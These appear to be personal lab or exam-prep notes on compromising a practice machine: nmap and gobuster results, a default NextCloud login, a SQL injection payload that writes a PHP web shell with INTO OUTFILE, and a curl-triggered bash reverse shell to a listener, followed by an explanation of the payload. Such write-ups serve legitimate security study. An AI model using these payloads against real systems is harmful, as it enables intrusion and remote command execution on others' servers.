Nmap

PORT    STATE  SERVICE      VERSION
22/tcp  open   ssh          OpenSSH 8.4 (protocol 2.0)
| ssh-hostkey: 
|   3072 78:2f:ea:84:4c:09:ae:0e:36:bf:b3:01:35:cf:47:22 (RSA)
|   256 d2:7d:eb:2d:a5:9a:2f:9e:93:9a:d5:2e:aa:dc:f4:a6 (ECDSA)
|_  256 b6:d4:96:f0:a4:04:e4:36:78:1e:9d:a5:10:93:d7:99 (ED25519)
111/tcp closed rpcbind
139/tcp closed netbios-ssn
443/tcp closed https
445/tcp closed microsoft-ds
Aggressive OS guesses: Linux 5.0 - 5.14 (98%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (98%), Linux 4.15 - 5.19 (94%), Linux 2.6.32 - 3.13 (93%), Linux 5.14 - 6.8 (93%), OpenWrt 22.03 (Linux 5.10) (93%), Linux 5.0 (92%), Linux 3.10 - 4.11 (91%), Linux 6.18 (91%), Linux 3.2 - 4.14 (90%)
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 488.352 days (since Sun Apr 13 10:36:45 2025)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=260 (Good luck!)
IP ID Sequence Generation: All zeros
PORT      STATE  SERVICE
22/tcp    open   ssh
111/tcp   closed rpcbind
139/tcp   closed netbios-ssn
443/tcp   closed https
445/tcp   closed microsoft-ds
17445/tcp open   unknown
30455/tcp open   unknown
50080/tcp open   unknown

Did gobuster on the unusual ports. We can use the following tactic to get some php info
http://192.168.208.147:30455/phpinfo.php.

So perhaps we can upload something there

On port 50080 there is a directory /cloud/ that redirects to a NextCloud login page. admin:admin works.

Wasn’t able to upload a php reverse shell that would run, it just displayed the file. However, we can download the issue tracker tool to inspect the code.

I looked at a guide and he just inspected the code until he found an SQLi vulnerability

This is the payload

High' UNION SELECT '<?php echo system($_GET["cmd"]);' INTO OUTFILE '/srv/http/cmd.php'; --

revisit

Exploitation

For some reason now we have to change the request to the vulnerable URI to POST

Now URL Encode and send

Should get response 200 in burp

Now get a URL encoded bash reverse shell and set up a listener

curl 192.168.233.147:30455/cmd.php?cmd=%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.154%2F50080%200%3E%261

NOTE: We’re using port 30455 here

Grab proof.txt

NOTES:

  • Digging through source code will be challenging on the exam. Maybe find ways to narrow things down, like searching through source code quickly for the string “SELECT”
  • Always check for phpinfo.php if dealing with a php site
  • About the payload:

How the Text Lands in the File

If you ran a standard UNION SELECT 'hello', the database would generate a temporary table result where the value of that row is hello.

When you attach INTO OUTFILE, the database performs a literal dump of that column’s data into the target file:

  1. The Grid Output: The database generates a single-cell result containing your text string: <?php echo system($_GET["cmd"]);
  2. The File Write: The INTO OUTFILE command takes whatever text is inside that cell and writes it directly to cmd.php. [3, 4]

A Crucial Catch: Column Matching

Because this is a UNION attack, your injected SELECT statement must have the exact same number of columns as the original, legitimate query. [5]

If the original query expected 3 columns, the attacker can’t just select the PHP string by itself. They have to pad it with dummy data so the database doesn’t throw a “column count mismatch” error. It usually looks like this:

' UNION SELECT 1, '<?php echo system($_GET["cmd"]);', 3 INTO OUTFILE '/srv/http/cmd.php'; --

If they did this, the resulting file on the disk would actually look like this:

1    <?php echo system($_GET["cmd"]);    3

When the PHP interpreter reads this file later, it completely ignores the 1 and the 3 because they are outside of the <?php ?> tags. It finds the PHP tags, executes the malicious payload inside them, and ignores the rest!